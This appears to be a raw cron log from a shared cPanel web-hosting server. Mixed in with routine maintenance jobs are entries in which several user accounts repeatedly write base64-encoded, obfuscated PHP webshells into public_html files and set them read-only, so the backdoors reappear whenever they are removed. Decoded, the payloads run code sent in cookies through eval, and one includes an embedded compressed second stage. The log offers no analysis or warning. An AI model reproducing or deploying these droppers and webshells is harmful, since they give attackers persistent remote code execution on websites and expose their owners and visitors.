Mar  1 04:30:02 medusa CROND[22925]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:30:02 medusa CROND[22927]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:30:02 medusa CROND[22926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 04:30:02 medusa CROND[22930]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 04:30:02 medusa CROND[22933]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 04:30:02 medusa CROND[22935]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 04:30:02 medusa CROND[22931]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:30:02 medusa CROND[22940]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:30:02 medusa CROND[22942]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 04:30:02 medusa CROND[22941]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 04:30:02 medusa CROND[22948]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:30:02 medusa CROND[22929]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 04:30:02 medusa CROND[22939]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Mar  1 04:30:02 medusa CROND[22954]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 04:30:02 medusa CROND[22962]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:30:02 medusa CROND[22946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:30:02 medusa CROND[22937]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 04:30:02 medusa CROND[22966]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:30:02 medusa CROND[22959]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 04:30:02 medusa CROND[22961]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 04:30:02 medusa CROND[22969]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:30:02 medusa CROND[22971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:30:02 medusa CROND[22973]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:30:02 medusa CROND[22975]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:30:02 medusa CROND[22944]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Mar  1 04:30:02 medusa CROND[22976]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 04:30:02 medusa CROND[22972]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 04:30:02 medusa CROND[22964]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  1 04:30:02 medusa CROND[22983]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 04:30:02 medusa CROND[22974]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 04:30:02 medusa CROND[22956]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 04:31:01 medusa CROND[12793]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 04:31:01 medusa CROND[12798]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:31:01 medusa CROND[12801]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:31:01 medusa CROND[12802]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:31:01 medusa CROND[12803]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:31:01 medusa CROND[12804]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:31:01 medusa CROND[12806]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 04:31:01 medusa CROND[12807]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:31:01 medusa CROND[12809]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:31:01 medusa CROND[12810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:31:01 medusa CROND[12811]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:31:01 medusa CROND[12805]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:31:01 medusa CROND[12977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:32:02 medusa CROND[2958]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:32:02 medusa CROND[2960]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
